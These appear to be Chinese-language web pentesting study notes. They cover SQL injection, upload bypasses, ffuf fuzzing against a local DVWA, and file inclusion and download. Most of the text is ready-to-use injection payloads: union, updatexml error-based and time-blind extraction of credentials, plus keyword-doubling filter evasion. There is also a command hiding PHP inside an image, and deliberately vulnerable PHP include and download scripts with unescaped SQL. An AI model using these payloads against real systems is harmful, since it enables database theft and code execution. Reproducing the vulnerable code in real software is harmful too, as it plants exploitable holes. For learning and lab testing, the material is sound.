文章目录
- sql inject
- 报错注入
- time盲注
- 联合查询
- 万能密码
- 拦截和过滤
- ascii
- 注入流程
- base64
- 查询的列名为mysql保留关键字key
- 文件上传
- ffuf
- 脚本要做的三件事
- 网络端口进程
- 用户权限
- 文件
- 文件包含
- 文件下载
- XSS跨站请求攻击
- csrf跨站请求伪造
sql inject
- 判断输入字段是字符串还是数字
方法:
-- 字符串——显示全部内容(1是为了回显有效的数字,去掉网站正常查询出的信息)
1‘ #
-- 数字——显示全部内容
1 #
- 判断回显字段数量
-- 通过二分法调整n的数量来判断列数
1' order by n #
-1' union select 1,2,3,4 #
3.在回显字符串处替代要获取的内容(一般是获取数据库名)
-1‘ union select 1,database(),user(),version() #
4.通过数据库名获取有用表名
-1‘ union select 1,2,table_name,4 from information_schema.tables where table_schema=database() #
5.通过表名获取有用列名(假设获取到表名为user)
注意:单引号可能造成错误闭合,可以在此处使用16进制的表名
1‘ union select 1,2,column_name,4 from information_schema.columns where table_name='user' and table_schema=database() #
-- 获取16进制表名
select hex('users');
1‘ union select 1,database(),column_name,4 from information_schema.columns where table_name=0x7573657273 and table_schema=database() #
6.通过列名获取有用信息
1‘ union select 1,username,password,4 from chujiban.user #
报错注入
or updatexml(1,concat(0x7e,(database()),0x7e),1) #
无需试列数
1.查找数据库
or updatexml(1,concat(0x7e,(database()),0x7e),1) #
2.查找表(concat()限制输出结果为32位,且只能输出一个结果,因此必须使用limit 0,1)
-- 可以配合substr()函数获取到32位之后的值 substr(string,start,length)
-- substr('abcdef',2,3) 输出为 'bcd'
or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,100),0x7e),1) #
-- 每次在substr()函数的第二个参数加31,即可全部展示
or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),32,100),0x7e),1) #
3.查找列名
or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,100),0x7e),1) #
4.查找账号密码
or updatexml(1,concat(0x7e,(select username from 'xxx' limit 0,1),0x7e),1) #
or updatexml(1,concat(0x7e,(select password from 'xxx' limit 0,1),0x7e),1) #
time盲注
无回显,或者回显始终不变化的情况使用time盲注
-- if(1=1, sleep(3), 2); 如果第一个参数的值为true,就执行第二个参数,否则执行第三个参数
-- 测试
id=1' and and sleep(10) # #
-- 如果table_name的第一个字母的ascii值>0就直接输出,否则就睡3秒在输出
id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 0, 1, sleep(3));
联合查询
联合查询中使前一条语句查询失败的三种方式
- id=-1
- and 1=2
- limit 1,1 筛除最后给的假值
万能密码
1.#和–都被过滤的情况下可以使用 id=1’ or '1
这样sql语句就变成 id='1' or '1'='1'
select * from news where id = '1' or '1'; -- 成功闭合
select * from news where id = '1' or '1' = '1'; -- 成功闭合
拦截和过滤
关键字转义,如or(or,order,information_schema,password),and,union, select等->使用双重关键字寻找,如aandnd,oorderrder,sselectelect。
ascii
-- 1.判断语句正误,查询到值说明正确
select * from news where id = 1 and ascii(substr(database(),1,1)) > 0
-- 2.判断database()首字母的ascii值,查询到值说明ascii>100,否则<100,二分法判断
select * from news where id = 1 and ascii(substr(database(),1,1)) > 100
-- 3.确定database()首字母的ascii值=99
select * from news where id = 1 and ascii(substr(database(),1,1)) = 99;
-- 4.确定database()首字母的为'c'
SELECT CHAR(99);
-- 记住常见的ascii值 a-97 z-122 A-65 Z-90 ascii>=0
-- 查询表名同理
select * from news where id = 1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 0
注入流程
联合查询(union select
) > bool盲注(判断ascii) > time盲注(if
和sleep()
函数)
-
首先通过页面判断参数名称,输入一个符号(无输入-整型,单引号/双引号/括号-字符型),页面报错,然后输入
%23
或--+
,页面恢复正常,说明闭合。 -
若输入
%23
后页面仍显示报错,则尝试添加)
或\
等符号,当页面恢复正常时即为成功闭合,可以通过and 1=1
正常显示,and 1=2
异常,进一步验证是否成功闭合。 -
若输入
%23
后页面显示正常,但是输入and 1=1
报错说明存在过滤,分别对and
,空格,等号,1进行相应替换尝试,and
等关键字可使用双层aandnd
(后续order by union select or
同理),空格可以换做/**/或/*12138*/
,等号可换作like
,1可改用其他数字。 -
通过
order by 1
和order by n
判断前端输出表的列数,若order by 1
报错说明存在过滤
- 成功->使
id=-1
使用联合查询union select 1,2,3,...,n
进行下一步查找 - 失败->考虑是否有关键字转义,如
or(or,order,information_schema,password),and,union, select
等->使用双重关键字寻找,如aandnd,oorderrder,sselectelect
。
base64
网站代码中设置了对传入参数进行base64解码,因此可以使用base64编码后的值取验证是否存在sql注入
.php?id=1' # 空页面
.php?id=MSc= # 使用base64对1编码,页面报错,即符合上述情况
select `key` from users; -- 正确
查询的列名为mysql保留关键字key
select key from users; -- 报错
select `key` from users; -- 正确
使用burpsuite爆破admin:1q2w3e4r转base64编码之后的POST请求方式的验证
1.从proxy中找到GET请求发送到repeter,change request成POST
2.sent to Intruder 设置
3. 爆破后转码 结果->url->base64
文件上传
- 文件名修改 1.jpg -> 1.php,使上传的文件变为可执行
- 黑名单 1.php. 或2.phP或3.php空格,绕过 php文件过滤
copy source.jpg/b+1.php target.jpg
ffuf
格式:ffuf -u "目标地址/FUZZ" -w 字典
举例:ffuf -u "http://192.168.111.131/FUZZ" -w /usr/share/SecLists-2022.2/Discovery/Web-Content/common.txt
多个字典同时使用
使用格式:
ffuf -u 目标地址/FUZZ -mc 200 -w 字典路径地址
ffuf -u 目标地址/FUZZ1:FUZZ2 -w 字典:FUZZ1 -w 字典:FUZZ2
带cookie的扫描
ffuf -u http://192.168.111.130/DVWA-master/FUZZ -w /usr/share/SecLists-2022.2/Discovery/Web-Content/common.txt -b "security=low; PHPSESSID=pj0emeebmimf3t9ddpv6pknah0"
脚本要做的三件事
- 文件操作
- 命令操作
- 数据操作
网络端口进程
ipconfig /all
tasklist /svc //查看进程
netstat /ano //查看端口号
用户权限
文件
copy
move
dir // 显示文件路径=pwd
type 1.txt // 输出文件内容
echo 123 > 1.txt // 向文件中写入内容
dir /s c:/*.php // 搜索c盘目录下后缀为.php的文件
// 可以通过已查到的文件名确定项目根目录
文件包含
// test1
<?php
$file = $_GET["file"];
include $file;
?>
// 然后在浏览器中通过传参的方式执行包含的文件
// 127.0.0.1/test1.php?file=1.php
// 同时可以查看其他目录文件
// http://127.0.0.1/test1.php?file=./upload/1.jpg 如下图
应用场景:
- 文件包含+上传白名单 1.jpg
<?php
//$file = $_GET["file"];
// 出于保护,使用固定尾缀的方式命名变量
$file = $_GET["file"]."txt";
include $file;
?>
再次访问1.txt时,出现报错,通过报错信息发现添加了.txt尾缀,此时应该直接通过file=1来访问1.txt
如何绕过固定尾缀?
浏览器通过%00截断,由于php版本问题目前未验证成功。
- 伪协议 参考
php://filter
是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。我们可以用如下代码将POST
内容转换成base64
编码并输出:
php://filter/convert.base64-encode/resource=xxx.php
//test1.php
<?php
$file = $_GET["file"];
include $file;
?>
base64解码
(1)开启
allow_url_fopen=On
allow_url_include=On
(2)用户可以动态控制变量
注1: 通常我们在Web中是无法知道allow_url_fopen、allow_url_include的,除非有phpinfo。通常本地包含都是开着的,因为它是默认开启的,而且很少人会改它。通常远程包含会被关掉,但是这说不准。
注2: 从PHP 5.2开始allow_url_include就默认为off的,而allow_url_fopen一直默认都是On的。通常开发人员没特殊情况也不会打开,所以说远程包含漏洞出现的概率很低,但是不代表没有。
%00
截断 get请求,要求php版本 < 5.3.x
通过在代码中实现base64解码,在浏览器需输入base64编码的参数值。
//test1.php
<?php
$file = base64_decode($_GET["file"]);
include $file;
?>
伪协议读取源代码,同样需要对php://filter/convert.base64-encode/resource=1.txt
进行base64编码。
文件下载
1.传入文件名进行下载
<?php
// 获取要下载的文件路径
$file = $_GET["filename"];
// 检查文件是否存在
if (file_exists($file)) {
//获取文件大小
$filesize = filesize($file);
// 设置响应标头
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . basename($file));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
// 输出文件内容
readfile($file);
exit;
} else {
// 文件不存在的处理逻辑
die('文件不存在.');
}
?>
2. 根据数据库中的文件id下载
<?php
header("Content-Type:text/html;charset=utf-8");
include "conf.php";
// 要下载文件的id
$id = $_GET["id"];
$sql = "select * from files where id ='$id'";
$result = mysqli_query($con,$sql);
$row = mysqli_fetch_array($result);
$file = $row['path'];
$filename = $row['path'];
// 检查文件是否存在
if (file_exists($file)) {
//获取文件大小
$filesize = filesize($file);
// 设置响应标头
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . basename($file));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
// 输出文件内容
readfile($file);
exit;
} else {
// 文件不存在的处理逻辑
die('文件不存在.');
}
?>
这种情况容易造成sql注入。